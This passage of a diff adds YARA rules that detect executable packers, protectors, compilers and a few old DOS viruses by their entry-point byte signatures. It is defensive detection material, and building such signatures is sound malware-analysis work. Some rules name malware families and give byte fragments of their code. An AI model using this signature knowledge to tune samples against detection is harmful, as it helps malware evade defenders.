+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v34_
+{
+	meta:
+		description = "Shrinker v3.4"
+	strings:
+		$0 = {83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF}
+		$1 = {BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)"
+	strings:
+		$0 = {F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PeStubOEP_v1x_
+{
+	meta:
+		description = "PeStubOEP v1.x"
+	strings:
+		$0 = {90 33 C9 33 D2 B8 ?? ?? ?? 00 B9 FF}
+		$1 = {E8 05 00 00 00 33 C0 40 48 C3 E8 05}
+	condition:
+		$0 or $1
+}
+rule _Microsoft_Visual_Cpp_42_
+{
+	meta:
+		description = "Microsoft Visual C++ 4.2"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ_PolyCryptor_vxx_Extranger_
+{
+	meta:
+		description = "SimbiOZ PolyCryptor v.xx-> Extranger"
+	strings:
+		$0 = {55 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Phoenix927_
+{
+	meta:
+		description = "Vx: Phoenix.927"
+	strings:
+		$0 = {E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _LamerStop_v10c_c_Stefan_Esser_
+{
+	meta:
+		description = "LamerStop v1.0c (c) Stefan Esser"
+	strings:
+		$0 = {E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_450_DLL_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 4.50 DLL (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 85 DB 75 0D 83 3D ?? ?? ?? ?? 00 75 04 31 C0 EB 57 83 FB 01 74 05 83 FB 02 75}
+	condition:
+		$0
+}
+rule _unknown__jac_
+{
+	meta:
+		description = "unknown -> jac"
+	strings:
+		$0 = {55 89 E5 B9 00 80 00 00 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 31 C2 66 01 C2 C1 C2 07 E2 F1 50 E8 91 FF FF FF C9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ANDpakk2_006__by_Dmitry_quotANDquot_Andreev_
+{
+	meta:
+		description = "ANDpakk2 0.06 - by Dmitry &quot;AND&quot; Andreev"
+	strings:
+		$0 = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v060_
+{
+	meta:
+		description = "tElock v0.60"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08}
+	condition:
+		$0 at entrypoint
+}
+rule _JAR_Archive_
+{
+	meta:
+		description = "JAR Archive"
+	strings:
+		$0 = {1A 4A 61 72 1B}
+	condition:
+		$0
+}
+rule _Goats_Mutilator_v16__Goat_e0f_
+{
+	meta:
+		description = "Goats Mutilator v1.6 -> Goat/_e0f"
+	strings:
+		$0 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid_v1__Arkanoid_
+{
+	meta:
+		description = "Packanoid v1 -> Arkanoid"
+	strings:
+		$0 = {BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_ASPack_212__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake ASPack 2.12) -> emadicius (h)"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_CodeSafe_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [CodeSafe 2.0] -> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _VcasmProtector_10a__10d__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.0a - 1.0d -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VideoLanClient_
+{
+	meta:
+		description = "Video-Lan-Client"
+	strings:
+		$0 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v120b_
+{
+	meta:
+		description = "eXPressor v1.2.0b"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15 ?? ?? ?? 00 8D 84 05 EF FE FF FF 89 85 38 FE FF FF 8B 85 38 FE FF FF 0F BE 00 83 F8 5C}
+	condition:
+		$0
+}
+rule _Packman_V0001__Bubbasoft_
+{
+	meta:
+		description = "Packman V0.0.0.1 -> Bubbasoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48}
+	condition:
+		$0 at entrypoint
+}
+rule _Escargot_01__by_ueMeat_
+{
+	meta:
+		description = "Escargot 0.1 - by ueMeat"
+	strings:
+		$0 = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B}
+		$1 = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 B8 54 ?? ?? ?? 8B 00 FF D0 5F 80 3F 00 74 06 C6 07 00 47 EB F5 33 FF 8B 16 0B D2 75 03 8B 56 10 03 D3 03 D7 8B 0A C7 02 00 00 00 00 0B C9 74 4B F7 C1 00 00 00 80 74 14 81 E1 FF FF 00 00 50 51 50 B8 50}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Upack_V010V011__Dwing__Sign_by_fly_
+{
+	meta:
+		description = "Upack V0.10-V0.11 -> Dwing ! Sign by fly"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5}
+	condition:
+		$0 at entrypoint
+}
+rule _PGMPACK_v013_
+{
+	meta:
+		description = "PGMPACK v0.13"
+	strings:
+		$0 = {FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10A__vcasm_
+{
+	meta:
+		description = "VProtector V1.0A -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2xx_max_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB}
+		$1 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA 33 0F B6 C9 0F BE 0E 88 16 EB 01 5F EB 01 6B 46 EB 01 6D 0F BE C0 4B EB 02 CD 20 0F BE C9 2B C9 3B D9 75 B0 EB 01 99 C1 C1 05 91 9D B2 E3 22 E2 A1 E2 F2 22 E2 A0 ?? ?? ?? E2 35 CA EC E2 E2 E2 E4 B4 57 E7 6C F8 28 F4 B4 A5 94 62 15 BD 86 95 E4 E1 F6 06 55 DA 15 AB E1 F6 06 55 FA 15 A2 E1 F6 06 55 03 95 E4 23 92 F2 E1 F6 06 F4 A2 55 DB 57 21 8C CD BE CA 25 E2 E2 E2 0D AD 57 F2 CA 1A E2 E2 E2 CD 0A 8E B3 CA 56 23 F5 AB CD FE 73 2A A3 C2 EA 8E CA 04 E2 E2 E2 1F E2 5F E2 E2 55 EC 62 DE E7 55 E8 65 DA 61 59 E4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Explosion1000_
+{
+	meta:
+		description = "Vx: Explosion.1000"
+	strings:
+		$0 = {E8 ?? ?? 5E 1E 06 50 81 ?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Protection_Plus_vxx_
+{
+	meta:
+		description = "Protection Plus vx.x"
+	strings:
+		$0 = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85}
+		$1 = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85 28 ?? ?? ?? 50 6A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_C_for_Windows_1_
+{
+	meta:
+		description = "Microsoft C for Windows (1)"
+	strings:
+		$0 = {33 ED 55 9A ?? ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v10xx_
+{
+	meta:
+		description = "Crunch/PE v1.0.x.x"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptoLock_202_Eng__Ryan_Thian_
+{
+	meta:
+		description = "Crypto-Lock 2.02 (Eng) -> Ryan Thian"
+	strings:
+		$0 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+		$1 = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Armadillo_301_305_
+{
+	meta:
+		description = "Armadillo 3.01, 3.05"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_70_Custom_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0 Custom"
+	strings:
+		$0 = {60 BE 00 B0 44 00 8D BE 00 60 FB FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_Dll_LZMA_430__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.19 Dll (LZMA 4.30) -> ap0x ! Sign by fly"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_vxx_
+{
+	meta:
+		description = "Exe Shield vx.x"
+	strings:
+		$0 = {65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect_v125__PolyTech_
+{
+	meta:
+		description = "VMProtect v1.25 --> PolyTech"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06}
+		$1 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06}
+		$2 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06}
+		$3 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58}
+		$4 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59}
+		$5 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A}
+		$6 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B}
+		$7 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$8 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$9 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$10 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 98 98 83 ED 04 89 45 00 E9}
+		$11 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+		$12 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$13 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+		$14 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$15 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+		$16 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+		$17 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$18 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$19 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$20 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$21 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$22 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$23 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$24 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$25 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+		$26 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+		$27 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+		$28 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+		$29 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+		$30 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+		$31 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+		$32 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+		$33 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+		$34 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+		$35 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+		$36 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+		$37 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+		$38 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+		$39 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+		$40 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+		$41 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+		$42 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+		$43 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+		$44 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+		$45 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+		$46 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+		$47 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+		$48 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+		$49 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 46 98 83 ED 04 89 45 00 E9}
+		$50 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+		$51 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+		$52 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+		$53 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$54 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+		$55 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 46 89 45 00 E9}
+		$56 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+		$57 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+		$58 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 46 E9}
+		$59 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+		$60 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+		$61 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+		$62 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
